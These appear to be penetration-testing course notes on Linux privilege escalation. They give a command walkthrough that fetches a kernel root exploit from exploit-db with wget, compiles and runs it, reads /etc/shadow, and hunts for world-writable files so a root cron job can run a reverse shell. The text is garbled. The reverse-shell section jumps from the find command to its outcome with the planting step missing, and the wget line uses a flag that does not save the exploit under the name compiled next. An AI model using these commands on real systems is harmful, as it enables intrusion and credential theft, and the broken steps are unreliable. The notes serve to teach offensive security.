==============================================================
PRIVILEGE ESCALATION - Overview
==============================================================
Priv Esc is the process of increasing the level of access on a machine or network. This is normally performed as part of the post-exploitation phase. As attackers we try to increase our level of control on a system and expand our reach in to the network. In most operating systems and networked environments, the process of privilege escalation is inherently prevented in order to adhere to the User Privilege Seperation Model. Therfor by definition, the process of Privilege Escalation will involve breaking the security model. To our aid in this process, comes vulnerable and outdated software, administrative misconfigurations and human error, which all may lead to chinks in the armour of the User Separation Security Model.

We will start by looking at Privilege Escalation exploits. These exploits work by targeted higher privilege services or systems such as drivers or kernal functions and when successful, these exploits often allow full elevation of access or privileges.

PRIVILEGE ESCALATION - Exploits in Linux
In this scenario, we have SSH credentials for a user on a Ubuntu machine. We want to use this machine as a pivot point in to the Network however we need root privileges in order to complete the task. The discovered credentials do not have root privileges.

After a bit of prodding, we discover that the machine is running a 32bit version of Ubuntu:
#cat /etc/issue

and may even be running a vulnerable kernel
#uname -a

After some googling and researching we decide to use a Linux Kernel Root Exploit which was found in the exploit database - exploit-db.com/exploits/18411/ as it seems to be the closest match to our kernel version and operating system.

After inspecting the code, we download the exploit to the victim machine and then proceed to compile and run it.

In order to download the file to the victim Ubuntu machine, copy the link for the exploit then use wget:
#wget -o exploit.c https://exploit-db.com/exploits/18411/

Once downloaded, we will proceed to compile the exploit to a binary file:
#gcc exploit.c -o exploit

Confirm that the file has been created as expected:
#file exploit

Check current user privileges:
#id

Proceed to run the exploit
#./exploit

Check the current privileges once more:
#id

List the contents of the shadow file
#cat /etc/shadow

Of course, not all exploits work so smoothly and might need some tinkering and experimentation before they will work. It is important to remember that these exploits often target critical system elements and an unsuccesful exploitation attempt, may lead to a crashed system. Check the lab guide for more detail on this exploit and others like it.

PRIVILEGE ESCALATION - Abusing weak service Permissions on Linux
A classic Linux equivalent demonstration for file and folder permission issues would involve looking for permission misconfigurations on files and scripts which have sudo or world writable permissions on a local linux file system. This could include:
- suid binaries
- cron jobs
- boot files
- etc

On a linux system, we will search the system for world writable files:
#find / -perm -2 ! -type l -ls 2>/dev/null

Now when the cron job runs again, the reverse shell executes and since it was run with root privileges we now have root access to the machine.PRIVILEGE ESCALATION SUMMARY:

- exploit a vulnerable service with high privileges.
- exploit various misconfigurations on the target.
- sensitive files left on the file system
- excel files with the keys to the kingdom.
- group policy configuration files
- unattended configuration files
- badly written scripts with info within.
- stay up to date